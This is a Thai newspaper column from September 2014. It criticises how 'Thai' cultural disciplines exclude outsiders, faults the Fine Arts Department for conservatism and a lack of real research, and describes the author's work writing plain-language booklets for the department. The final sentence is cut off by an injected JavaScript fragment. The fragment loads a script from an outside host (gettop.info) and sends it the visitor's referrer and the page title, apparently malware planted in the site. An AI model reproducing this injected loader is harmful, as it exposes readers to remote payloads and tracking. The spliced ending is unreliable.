มติชนรายวัน ฉบับประจำวันจันทร์ที่ 8 กันยายน 2557

 

กีดกันคนอื่น

          ความรู้ทางวัฒนธรรมที่ต่อท้ายด้วยคำว่า“ไทย” เช่น นาฏศิลป์ไทย, ดนตรีไทย, ภาษาไทย, วรรณคดีไทย, ประวัติศาสตร์ไทย, โบราณคดีไทย, ฯลฯ

          ถูกสร้างให้ขลังและศักดิ์สิทธิ์ แล้วมีพิธีกรรมเข้าถึงยากๆ เพื่อกีดกันคนส่วนมากให้ออกพ้นแวดวงของตน แล้วเสริมสร้างตัวตนของพวกตนให้สูงส่งสำคัญกว่าคนอื่นและยืนนาน เหมือนวัฒนธรรม(ไทย)

          “วัฒนธรรม หมายถึงอะไรที่งามๆ สูงๆ เป็นสมบัติของสุขุมาลชาติ เพื่อกีดกันคนนอกออกไปจากแวดวง และรักษาอภิสิทธิ์ของตนไว้ให้ยั่งยืน”

          (เก็บความจากบทความเรื่องวัฒนธรรม ของ นิธิ เอียวศรีวงศ์ ในมติชนสุดสัปดาห์ ฉบับ 29 ส.ค.-4 ก.ย. 2557 หน้า 32)

 

อะไร? มาจากไหน?

          สุพรรณบุรี มาจากไหน? ที่โรงละครแห่งชาติ สุพรรณบุรี เมื่อวันอังคาร 2 กันยายน ผ่านมา มีผู้ถามว่าทำไมจึงช่วยงานกรมศิลปากรบ่อยๆ

          1. กรมศิลปากร ยุคแรกๆเป็นศูนย์รวมนักปราชญ์ราชบัณฑิตของสยามประเทศ

          ครั้นหลังเหตุการณ์ 14 ตุลาคม 2516 ขาดแคลนนักวิชาการค้นคว้าวิจัยความรู้ทางมนุษยศาสตร์และสังคมศาสตร์เกี่ยวกับประวัติศาสตร์โบราณคดี, วรรณคดีภาษา, ดนตรีนาฏศิลป์, ฯลฯ ด้วยปัญหาหลายอย่าง

          สาเหตุสำคัญคือ“โลกเปลี่ยน แต่กรมศิลปากรไม่เปลี่ยน” จึงมีแต่นักขุดค้น “เทคนิเชี่ยนแข็งทื่อ” ไม่มีนักค้นคว้า, ศิลปิน ไม่มีนักวิจัย, ฯลฯ

          นักขุดค้นแข็งทื่อในกรมศิลปากรส่วนมากไม่ใฝ่ใจอ่านหนังสือวิชาการหรือหนังสืออื่นใด และไม่ใส่ใจแสวงหาความรู้จากแหล่งต่างๆ เช่น ตำนาน, พงศาวดาร, งานวิจัยของนักค้นคว้าไทยและเทศทั่วโลกที่ความเห็นต่างจากกระแสหลัก

          เวลาส่วนใหญ่ถ้าไม่ขุดค้นและสำรวจ ก็ทุ่มเทกับการแสวงหาตำแหน่งบริหารเพื่ออำนาจและความก้าวหน้าในวิชาชีพ โดยไม่ต้องการค้นคว้าวิชาการ

          พยานสำคัญ คือ เมืองอู่ทอง, เมืองสุพรรณ, ลุ่มน้ำท่าจีน-แม่กลอง-แม่น้ำน้อย หลังการขุดค้นของบวสเซอลีเย (ฝรั่งเศส) ราว พ.ศ. 2508 ไม่มีงานค้นคว้าก้าวหน้า แม้มีบ้างก็ไม่มากจนนับไม่ได้ และด้อยคุณภาพ แล้วสร้างภาพรวมไม่ได้

          ผมถูกเรียกไปใช้งานวิชาการเหล่านี้เป็นครั้งคราวจากอธิบดีบางคน รุ่นพี่บางคน ที่ไม่รังเกียจเอกชนนักเรียนสอบตกที่มีความคิดต่าง

          2. วิชาการกรมศิลปากร สืบเนื่องอย่างเคร่งครัดในแนวคิดอนุรักษนิยม แล้วต่อต้านอย่างเข้มแข็งต่อแนวคิดตรงข้าม

          เท่ากับเจริญรอยตามแบบอาณานิคม เมื่อ 100 ปีที่แล้ว อย่างไม่ยอมให้ใครแตะต้องเปลี่ยนแปลง

          ขณะเดียวกันไม่ยอมเคลื่อนไหวแบ่งปันเผยแพร่ความรู้อย่างง่ายๆสู่สาธารณะ เพราะขึ้นเสวยสุขเป็นพรหมลูกฟัก บนหอคอยงาช้าง จึงมองไม่เห็นพื้นโลกของสามัญชน ถึงเห็นรางๆก็ไม่รู้จัก และไม่เข้าใจ

          งานประวัติศาสตร์โบราณคดี มีแต่สวรรค์กับชาวสวรรค์ จึงไม่มีคน ไม่มีชุมชนหมู่บ้าน ไม่มีเส้นทางการค้า ไม่มี (วัฒนธรรม) กิน ขี้ ปี้ นอน

          3. อธิบดีกรมศิลปากรสมัยหลังๆ เห็นคล้อยแนวคิดที่ คุณขรรค์ชัย บุนปาน วางแนวทางให้เครือมติชน ที่ว่า “แบ่งปันความรู้ เชิดชูศาสนา พัฒนาแหล่งน้ำลำคลอง”

          จึงขอความร่วมมือสนับสนุน แล้วยกไปบริหารจัดการแหล่งประวัติศาสตร์โบราณคดี ที่มีกระจายทั่วประเทศ

          ผมได้รับมอบหมายจากคุณขรรค์ชัยให้ร่วมมือ แล้วถูกเรียกไปใช้ทำงานเรียบเรียงเอกสารประกอบกิจกรรมแบ่งปันความรู้ของกรมศิลปากร เพื่อสื่อสารง่ายๆตรงไปตรงมา โดยตัดทิ้งรายละเอียดปลีกย่อยทางวิชาการ“ขุดค้น”ลึกซึ้งออกไป

          4. ต้นฉบับส่งให้นักวิชาการของกรมศิลปากรตรวจสอบความถูกต้องหรือเปล่า?

          ผมบอกว่าต้นฉบับส่งอธิบดีตรวจทุกครั้งก่อนพิมพ์เป็นเล่ม (เพราะไม่เคยคิดว่าตัวเองเป็นนักวิชาการ และไม่ต้องการทำงานวิชาการ แต่เอางานวิชาการของครูบาอาจารย์มาใช้เขียนหนังสือทุกวันตลอดเวลา) แต่ไม่รู้ว่าอธิบดีส่งให้ใครตรวจบ้าง?

          รู้แต่ว่ามีเจ้าหน้าที่ส่งคืนต้นฉบับ แล้วบอกว่าในกรมศิลปากรมีแต่นักบริหารกับนักขุดค้นแข็งทื่อ ไม่มีใครอยากตรวจ ขอให้พิมพ์ๆไปเถอะ ไม่มีคนอยากอ่านหรอกif (document.currentScript) { s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;